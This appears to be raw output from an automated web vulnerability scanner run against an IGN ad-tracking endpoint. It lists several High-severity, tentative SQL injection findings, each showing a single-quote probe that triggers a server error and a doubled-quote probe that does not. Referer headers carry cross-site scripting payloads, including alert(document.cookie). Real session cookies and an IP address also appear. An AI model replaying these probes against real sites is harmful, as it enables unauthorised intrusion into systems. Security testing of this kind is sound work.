optimizelyBuckets=%7B%224875108%22%3A4948008%7D; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; __utmc=173446715; __utmb=173446715.3.10.1297040497

Response 1

HTTP/1.1 500 Internal Server Error
Server: Apache/2.2.16 (Unix)
Content-Length: 544
nnCoection: close
Content-Type: text/html; charset=iso-8859-1
Date: Mon, 07 Feb 2011 01:44:47 GMT
Connection: close
Vary: Accept-Encoding

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>500 Internal Server Error</title>
</head><body>
<h1>Internal Server Error</h1>
<p>The server encountered an internal error or
mis
...[SNIP]...

Request 2

GET /event.ng/Type''=count&ClientType=2&ASeg=&AMod=&AOpt=0&AdID=158919&FlightID=142380&TargetID=24899&EntityDefResetFlag=0&C=0&Segments=2747,4602,4603,4723,4917,5718,5749,5906,6102,6382,6573,7102,7396,7752,7888,8587,9598,11754,14845,15232,16249,16251,19927,22099,22854,23425,23427,23472,23479,23480,23493&Targets=10619,24899&Values=25,31,43,60,72,80,91,101,110,150,152,235,471,531,757,912,1187,1405,1481,1508,1594,1824,2336,3091,3932,4056,4662,4799,5999,6623,8151,8978,41899,59328,61256,61583,61766,65373&RawValues=&random=bzpcKwp,bguRrfrbdmWap HTTP/1.1
Host: de.ign.com
Proxy-Connection: keep-alive
Referer: http://www.ign.com/?7f8bd%22-alert(document.cookie)-%2257a543695b9=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ATA=ign.129704044868759.173.193.214.243; optimizelyEndUserId=oeu1297040486304r0.669825860997662; __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; s_vi=[CS]v1|26A7A237050791B4-40000100A0002F6F[CE]; s_pers=%20s_nr%3D1297040551494%7C1299632551494%3B%20s_lv%3D1297040551496%7C1391648551496%3B%20s_lv_s%3DFirst%2520Visit%7C1297042351496%3B; s_sess=%20s_cc%3Dtrue%3B%20s_v13%3Dmy.ign.com%253Awww.ign.com%3B%20s_c13%3Dmy.ign.com%253Awww.ign.com%3B%20s_sq%3D%3B; rsi_segs=10089; decc=US; NGUserID=a016c06-15003-1306593845-5; i18n-cc=US; freq=c-1297040561490v-1n-12mc+1297040561491mv+1mn+12wwe~0; optimizelyBuckets=%7B%224875108%22%3A4948008%7D; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; __utmc=173446715; __utmb=173446715.3.10.1297040497

Response 2

HTTP/1.1 302 Moved Temporarily
Server: Apache/2.2.16 (Unix)
Content-Length: 0
Location: http://ads.ign.com/advertisers/ign/1x1transparent.png
Content-Type: text/html
Expires: Mon, 07 Feb 2011 01:44:47 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:44:47 GMT
Connection: close
Vary: Accept-Encoding

Summary

Severity:	High
Confidence:	Tentative
Host:	http://de.ign.com
Path:	/event.ng/Type=count&ClientType=2&ASeg=&AMod=&AOpt=0&AdID=158919&FlightID=142380&TargetID=24899&EntityDefResetFlag=0&C=0&Segments=2747,4602,4603,4723,4917,5718,5749,5906,6102,6382,6573,7102,7396,7752,7888,8587,9598,11754,14845,15232,16249,16251,19927,22099,22854,23425,23427,23472,23479,23480,23493&Targets=10619,24899&Values=25,31,43,60,72,80,91,101,110,150,152,235,471,531,757,912,1187,1405,1481,1508,1594,2336,3091,3481,3932,4056,4662,4799,5999,6623,8150,8978,41899,58049,59328,61256,61583,61766,65373&RawValues=&random=ARzkrx,bguRragewbmIe

Issue detail

Request 1

GET /event.ng/Type'=count&ClientType=2&ASeg=&AMod=&AOpt=0&AdID=158919&FlightID=142380&TargetID=24899&EntityDefResetFlag=0&C=0&Segments=2747,4602,4603,4723,4917,5718,5749,5906,6102,6382,6573,7102,7396,7752,7888,8587,9598,11754,14845,15232,16249,16251,19927,22099,22854,23425,23427,23472,23479,23480,23493&Targets=10619,24899&Values=25,31,43,60,72,80,91,101,110,150,152,235,471,531,757,912,1187,1405,1481,1508,1594,2336,3091,3481,3932,4056,4662,4799,5999,6623,8150,8978,41899,58049,59328,61256,61583,61766,65373&RawValues=&random=ARzkrx,bguRragewbmIe HTTP/1.1
Host: de.ign.com
Proxy-Connection: keep-alive
Referer: http://www.ign.com/?7f8bd%22-alert(1)-%2257a543695b9=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ATA=ign.129704044868759.173.193.214.243; optimizelyEndUserId=oeu1297040486304r0.669825860997662; __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; __utmc=173446715; s_vi=[CS]v1|26A7A237050791B4-40000100A0002F6F[CE]; s_pers=%20s_nr%3D1297040551494%7C1299632551494%3B%20s_lv%3D1297040551496%7C1391648551496%3B%20s_lv_s%3DFirst%2520Visit%7C1297042351496%3B; s_sess=%20s_cc%3Dtrue%3B%20s_v13%3Dmy.ign.com%253Awww.ign.com%3B%20s_c13%3Dmy.ign.com%253Awww.ign.com%3B%20s_sq%3D%3B; __utmb=173446715.1.10.1297040497; rsi_segs=10089; decc=US; NGUserID=a016c09-19918-1173906965-3; i18n-cc=US; freq=c-1297040390930v-1n-12mc+1297040390930mv+1mn+12wwe~0; optimizelyBuckets=%7B%224875108%22%3A4948008%7D

Response 1

HTTP/1.1 500 Internal Server Error
Server: Apache/2.2.16 (Unix)
Content-Length: 544
nnCoection: close
Content-Type: text/html; charset=iso-8859-1
Date: Mon, 07 Feb 2011 01:44:32 GMT
Connection: close
Vary: Accept-Encoding

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>500 Internal Server Error</title>
</head><body>
<h1>Internal Server Error</h1>
<p>The server encountered an internal error or
mis
...[SNIP]...

Request 2

GET /event.ng/Type''=count&ClientType=2&ASeg=&AMod=&AOpt=0&AdID=158919&FlightID=142380&TargetID=24899&EntityDefResetFlag=0&C=0&Segments=2747,4602,4603,4723,4917,5718,5749,5906,6102,6382,6573,7102,7396,7752,7888,8587,9598,11754,14845,15232,16249,16251,19927,22099,22854,23425,23427,23472,23479,23480,23493&Targets=10619,24899&Values=25,31,43,60,72,80,91,101,110,150,152,235,471,531,757,912,1187,1405,1481,1508,1594,2336,3091,3481,3932,4056,4662,4799,5999,6623,8150,8978,41899,58049,59328,61256,61583,61766,65373&RawValues=&random=ARzkrx,bguRragewbmIe HTTP/1.1
Host: de.ign.com
Proxy-Connection: keep-alive
Referer: http://www.ign.com/?7f8bd%22-alert(1)-%2257a543695b9=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ATA=ign.129704044868759.173.193.214.243; optimizelyEndUserId=oeu1297040486304r0.669825860997662; __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; __utmc=173446715; s_vi=[CS]v1|26A7A237050791B4-40000100A0002F6F[CE]; s_pers=%20s_nr%3D1297040551494%7C1299632551494%3B%20s_lv%3D1297040551496%7C1391648551496%3B%20s_lv_s%3DFirst%2520Visit%7C1297042351496%3B; s_sess=%20s_cc%3Dtrue%3B%20s_v13%3Dmy.ign.com%253Awww.ign.com%3B%20s_c13%3Dmy.ign.com%253Awww.ign.com%3B%20s_sq%3D%3B; __utmb=173446715.1.10.1297040497; rsi_segs=10089; decc=US; NGUserID=a016c09-19918-1173906965-3; i18n-cc=US; freq=c-1297040390930v-1n-12mc+1297040390930mv+1mn+12wwe~0; optimizelyBuckets=%7B%224875108%22%3A4948008%7D

Response 2

HTTP/1.1 302 Moved Temporarily
Server: Apache/2.2.16 (Unix)
Content-Length: 0
Location: http://ads.ign.com/advertisers/ign/1x1transparent.png
Content-Type: text/html
Expires: Mon, 07 Feb 2011 01:44:32 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:44:32 GMT
Connection: close
Vary: Accept-Encoding

Summary

Severity:	High
Confidence:	Tentative
Host:	http://de.ign.com
Path:	/event.ng/Type=count&ClientType=2&ASeg=&AMod=&AOpt=0&AdID=158994&FlightID=142418&TargetID=26016&EntityDefResetFlag=0&C=0&Segments=1,255,348,1241,1931,2092,2747,3975,4113,4170,4602,4603,4723,4917,4938,4969,5057,5718,5749,5753,5906,6102,6382,6573,6615,6671,6702,7102,7396,7491,7752,7888,8587,9598,10327,10820,11754,12248,14845,15232,16249,16251,17864,17902,19172,20798,20807,20875,20904,20947,22099,22285,22854,23359,23425,23427,23429,23472,23479,23480,23493&Targets=6556,29462,7012,29373,6505,8080,27699,28684,9128,6507,8524,9483,7085,6651,9170,10619,26089,26016,27914,29365&Values=25,31,43,60,72,80,91,101,110,150,152,235,260,448,531,757,912,1187,1405,1481,1508,1594,2250,2868,3481,3932,4056,4662,4799,5999,6623,8150,8978,41899,58049,59328,61583,61766,65373&RawValues=&random=bwoNmIm,bguRqRgbdmoWr

Issue detail

Request 1

GET /event.ng/Type'=count&ClientType=2&ASeg=&AMod=&AOpt=0&AdID=158994&FlightID=142418&TargetID=26016&EntityDefResetFlag=0&C=0&Segments=1,255,348,1241,1931,2092,2747,3975,4113,4170,4602,4603,4723,4917,4938,4969,5057,5718,5749,5753,5906,6102,6382,6573,6615,6671,6702,7102,7396,7491,7752,7888,8587,9598,10327,10820,11754,12248,14845,15232,16249,16251,17864,17902,19172,20798,20807,20875,20904,20947,22099,22285,22854,23359,23425,23427,23429,23472,23479,23480,23493&Targets=6556,29462,7012,29373,6505,8080,27699,28684,9128,6507,8524,9483,7085,6651,9170,10619,26089,26016,27914,29365&Values=25,31,43,60,72,80,91,101,110,150,152,235,260,448,531,757,912,1187,1405,1481,1508,1594,2250,2868,3481,3932,4056,4662,4799,5999,6623,8150,8978,41899,58049,59328,61583,61766,65373&RawValues=&random=bwoNmIm,bguRqRgbdmoWr HTTP/1.1
Host: de.ign.com
Proxy-Connection: keep-alive
Referer: http://cheats.ign.com/?7cd43%22%3E%3Cscript%3Ealert(1)%3C/script%3Ebc6f5a7fbe9=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ATA=ign.129704044868759.173.193.214.243; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=634326084499542327&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; optimizelyEndUserId=oeu1297040486304r0.669825860997662; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; __utmb=173446715; __utmc=173446715; __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; rsi_segs=; decc=US; NGUserID=a016c09-18740-885768600-2; i18n-cc=US; freq=c-1297040326761v-1n-12mc+1297040326761mv+1mn+12wwe~0; optimizelyBuckets=%7B%7D

Response 1

HTTP/1.1 500 Internal Server Error
Server: Apache/2.2.16 (Unix)
Content-Length: 544
nnCoection: close
Content-Type: text/html; charset=iso-8859-1
Date: Mon, 07 Feb 2011 01:44:10 GMT
Connection: close
Vary: Accept-Encoding

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>500 Internal Server Error</title>
</head><body>
<h1>Internal Server Error</h1>
<p>The server encountered an internal error or
mis
...[SNIP]...

Request 2

GET /event.ng/Type''=count&ClientType=2&ASeg=&AMod=&AOpt=0&AdID=158994&FlightID=142418&TargetID=26016&EntityDefResetFlag=0&C=0&Segments=1,255,348,1241,1931,2092,2747,3975,4113,4170,4602,4603,4723,4917,4938,4969,5057,5718,5749,5753,5906,6102,6382,6573,6615,6671,6702,7102,7396,7491,7752,7888,8587,9598,10327,10820,11754,12248,14845,15232,16249,16251,17864,17902,19172,20798,20807,20875,20904,20947,22099,22285,22854,23359,23425,23427,23429,23472,23479,23480,23493&Targets=6556,29462,7012,29373,6505,8080,27699,28684,9128,6507,8524,9483,7085,6651,9170,10619,26089,26016,27914,29365&Values=25,31,43,60,72,80,91,101,110,150,152,235,260,448,531,757,912,1187,1405,1481,1508,1594,2250,2868,3481,3932,4056,4662,4799,5999,6623,8150,8978,41899,58049,59328,61583,61766,65373&RawValues=&random=bwoNmIm,bguRqRgbdmoWr HTTP/1.1
Host: de.ign.com
Proxy-Connection: keep-alive
Referer: http://cheats.ign.com/?7cd43%22%3E%3Cscript%3Ealert(1)%3C/script%3Ebc6f5a7fbe9=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ATA=ign.129704044868759.173.193.214.243; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=634326084499542327&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; optimizelyEndUserId=oeu1297040486304r0.669825860997662; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; __utmb=173446715; __utmc=173446715; __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; rsi_segs=; decc=US; NGUserID=a016c09-18740-885768600-2; i18n-cc=US; freq=c-1297040326761v-1n-12mc+1297040326761mv+1mn+12wwe~0; optimizelyBuckets=%7B%7D

Response 2

HTTP/1.1 302 Moved Temporarily
Server: Apache/2.2.16 (Unix)
Content-Length: 0
Location: http://ads.ign.com/advertisers/ign/1x1transparent.png
Content-Type: text/html
Expires: Mon, 07 Feb 2011 01:44:11 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:44:11 GMT
Connection: close
Vary: Accept-Encoding

Summary

Severity:	High
Confidence:	Tentative
Host:	http://de.ign.com
Path:	/event.ng/Type=count&ClientType=2&ASeg=&AMod=&AOpt=0&AdID=182992&FlightID=69584&TargetID=9128&EntityDefResetFlag=0&C=0&Segments=1,255,348,1241,1931,2092,2747,3975,4113,4170,4602,4603,4723,4917,4938,4969,5057,5329,5718,5749,5753,5906,6102,6382,6573,6615,6671,6702,7102,7396,7491,7752,7888,8587,9598,10820,11754,12248,14845,15232,16249,16251,17864,17898,17902,19172,20798,20834,20875,20904,22099,22285,22854,23359,23425,23427,23472,23479,23480,23493&Targets=6556,29462,7012,6505,8080,27699,28684,9128,6507,8524,9483,7085,6651,9170,10619,26089,27914,29365&Values=25,31,43,60,72,80,91,101,110,150,152,235,260,471,531,757,912,1187,1405,1481,1508,1594,1824,2336,3091,3932,4056,4662,4799,5999,6623,8151,8978,41899,59328,61583,61766,65373&RawValues=&random=cwoRrgj,bguRrfrbdmWae

Issue detail

Request 1

GET /event.ng/Type'=count&ClientType=2&ASeg=&AMod=&AOpt=0&AdID=182992&FlightID=69584&TargetID=9128&EntityDefResetFlag=0&C=0&Segments=1,255,348,1241,1931,2092,2747,3975,4113,4170,4602,4603,4723,4917,4938,4969,5057,5329,5718,5749,5753,5906,6102,6382,6573,6615,6671,6702,7102,7396,7491,7752,7888,8587,9598,10820,11754,12248,14845,15232,16249,16251,17864,17898,17902,19172,20798,20834,20875,20904,22099,22285,22854,23359,23425,23427,23472,23479,23480,23493&Targets=6556,29462,7012,6505,8080,27699,28684,9128,6507,8524,9483,7085,6651,9170,10619,26089,27914,29365&Values=25,31,43,60,72,80,91,101,110,150,152,235,260,471,531,757,912,1187,1405,1481,1508,1594,1824,2336,3091,3932,4056,4662,4799,5999,6623,8151,8978,41899,59328,61583,61766,65373&RawValues=&random=cwoRrgj,bguRrfrbdmWae HTTP/1.1
Host: de.ign.com
Proxy-Connection: keep-alive
Referer: http://www.ign.com/?7f8bd%22-alert(document.cookie)-%2257a543695b9=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ATA=ign.129704044868759.173.193.214.243; optimizelyEndUserId=oeu1297040486304r0.669825860997662; __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; s_vi=[CS]v1|26A7A237050791B4-40000100A0002F6F[CE]; s_pers=%20s_nr%3D1297040551494%7C1299632551494%3B%20s_lv%3D1297040551496%7C1391648551496%3B%20s_lv_s%3DFirst%2520Visit%7C1297042351496%3B; s_sess=%20s_cc%3Dtrue%3B%20s_v13%3Dmy.ign.com%253Awww.ign.com%3B%20s_c13%3Dmy.ign.com%253Awww.ign.com%3B%20s_sq%3D%3B; rsi_segs=10089; decc=US; NGUserID=a016c06-15003-1306593845-5; i18n-cc=US; freq=c-1297040561490v-1n-12mc+1297040561491mv+1mn+12wwe~0; optimizelyBuckets=%7B%224875108%22%3A4948008%7D; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; __utmc=173446715; __utmb=173446715.3.10.1297040497

Response 1

HTTP/1.1 500 Internal Server Error
Server: Apache/2.2.16 (Unix)
Content-Length: 544
nnCoection: close
Content-Type: text/html; charset=iso-8859-1
Date: Mon, 07 Feb 2011 01:44:48 GMT
Connection: close
Vary: Accept-Encoding

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>500 Internal Server Error</title>
</head><body>
<h1>Internal Server Error</h1>
<p>The server encountered an internal error or
mis
...[SNIP]...

Request 2

GET /event.ng/Type''=count&ClientType=2&ASeg=&AMod=&AOpt=0&AdID=182992&FlightID=69584&TargetID=9128&EntityDefResetFlag=0&C=0&Segments=1,255,348,1241,1931,2092,2747,3975,4113,4170,4602,4603,4723,4917,4938,4969,5057,5329,5718,5749,5753,5906,6102,6382,6573,6615,6671,6702,7102,7396,7491,7752,7888,8587,9598,10820,11754,12248,14845,15232,16249,16251,17864,17898,17902,19172,20798,20834,20875,20904,22099,22285,22854,23359,23425,23427,23472,23479,23480,23493&Targets=6556,29462,7012,6505,8080,27699,28684,9128,6507,8524,9483,7085,6651,9170,10619,26089,27914,29365&Values=25,31,43,60,72,80,91,101,110,150,152,235,260,471,531,757,912,1187,1405,1481,1508,1594,1824,2336,3091,3932,4056,4662,4799,5999,6623,8151,8978,41899,59328,61583,61766,65373&RawValues=&random=cwoRrgj,bguRrfrbdmWae HTTP/1.1
Host: de.ign.com
Proxy-Connection: keep-alive
Referer: http://www.ign.com/?7f8bd%22-alert(document.cookie)-%2257a543695b9=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ATA=ign.129704044868759.173.193.214.243; optimizelyEndUserId=oeu1297040486304r0.669825860997662; __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; s_vi=[CS]v1|26A7A237050791B4-40000100A0002F6F[CE]; s_pers=%20s_nr%3D1297040551494%7C1299632551494%3B%20s_lv%3D1297040551496%7C1391648551496%3B%20s_lv_s%3DFirst%2520Visit%7C1297042351496%3B; s_sess=%20s_cc%3Dtrue%3B%20s_v13%3Dmy.ign.com%253Awww.ign.com%3B%20s_c13%3Dmy.ign.com%253Awww.ign.com%3B%20s_sq%3D%3B; rsi_segs=10089; decc=US; NGUserID=a016c06-15003-1306593845-5; i18n-cc=US; freq=c-1297040561490v-1n-12mc+1297040561491mv+1mn+12wwe~0; optimizelyBuckets=%7B%224875108%22%3A4948008%7D; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; __utmc=173446715; __utmb=173446715.3.10.1297040497

Response 2

HTTP/1.1 302 Moved Temporarily
Server: Apache/2.2.16 (Unix)
Content-Length: 0
Location: http://ads.ign.com/advertisers/ign/1x1transparent.png
Content-Type: text/html
Expires: Mon, 07 Feb 2011 01:44:48 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:44:48 GMT
Connection: close
Vary: Accept-Encoding

Summary

Severity:	High
Confidence:	Tentative
Host:	http://de.ign.com
Path:	/event.ng/Type=count&ClientType=2&ASeg=&AMod=&AOpt=0&AdID=182992&FlightID=69584&TargetID=9128&EntityDefResetFlag=0&C=0&Segments=1,255,348,1241,1931,2092,2747,3975,4113,4170,4602,4603,4723,4917,4938,4969,5057,5329,5718,5749,5753,5906,6102,6382,6573,6615,6671,6702,7102,7396,7491,7752,7888,8587,9598,10820,11754,12248,14845,15232,16249,16251,17864,17898,17902,19172,20798,20834,20875,20904,22099,22285,22854,23359,23425,23427,23472,23479,23480,23493&Targets=6556,29462,7012,6505,8080,27699,28684,9128,6507,8524,9483,7085,6651,9170,10619,26089,27914,29365&Values=25,31,43,60,72,80,91,101,110,150,152,235,260,471,531,757,912,1187,1405,1481,1508,1594,2336,3091,3481,3932,4056,4662,4799,5999,6623,8150,8978,41899,58049,59328,61583,61766,65373&RawValues=&random=bkNmutt,bguRragewbmAt

Issue detail

Request 1

GET /event.ng/Type'=count&ClientType=2&ASeg=&AMod=&AOpt=0&AdID=182992&FlightID=69584&TargetID=9128&EntityDefResetFlag=0&C=0&Segments=1,255,348,1241,1931,2092,2747,3975,4113,4170,4602,4603,4723,4917,4938,4969,5057,5329,5718,5749,5753,5906,6102,6382,6573,6615,6671,6702,7102,7396,7491,7752,7888,8587,9598,10820,11754,12248,14845,15232,16249,16251,17864,17898,17902,19172,20798,20834,20875,20904,22099,22285,22854,23359,23425,23427,23472,23479,23480,23493&Targets=6556,29462,7012,6505,8080,27699,28684,9128,6507,8524,9483,7085,6651,9170,10619,26089,27914,29365&Values=25,31,43,60,72,80,91,101,110,150,152,235,260,471,531,757,912,1187,1405,1481,1508,1594,2336,3091,3481,3932,4056,4662,4799,5999,6623,8150,8978,41899,58049,59328,61583,61766,65373&RawValues=&random=bkNmutt,bguRragewbmAt HTTP/1.1
Host: de.ign.com
Proxy-Connection: keep-alive
Referer: http://www.ign.com/?7f8bd%22-alert(1)-%2257a543695b9=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ATA=ign.129704044868759.173.193.214.243; optimizelyEndUserId=oeu1297040486304r0.669825860997662; __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; __utmc=173446715; s_vi=[CS]v1|26A7A237050791B4-40000100A0002F6F[CE]; s_pers=%20s_nr%3D1297040551494%7C1299632551494%3B%20s_lv%3D1297040551496%7C1391648551496%3B%20s_lv_s%3DFirst%2520Visit%7C1297042351496%3B; s_sess=%20s_cc%3Dtrue%3B%20s_v13%3Dmy.ign.com%253Awww.ign.com%3B%20s_c13%3Dmy.ign.com%253Awww.ign.com%3B%20s_sq%3D%3B; __utmb=173446715.1.10.1297040497; rsi_segs=10089; decc=US; NGUserID=a016c09-19918-1173906965-3; i18n-cc=US; freq=c-1297040390930v-1n-12mc+1297040390930mv+1mn+12wwe~0; optimizelyBuckets=%7B%224875108%22%3A4948008%7D

Response 1

HTTP/1.1 500 Internal Server Error
Server: Apache/2.2.16 (Unix)
Content-Length: 544
nnCoection: close
Content-Type: text/html; charset=iso-8859-1
Date: Mon, 07 Feb 2011 01:44:29 GMT
Connection: close
Vary: Accept-Encoding

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
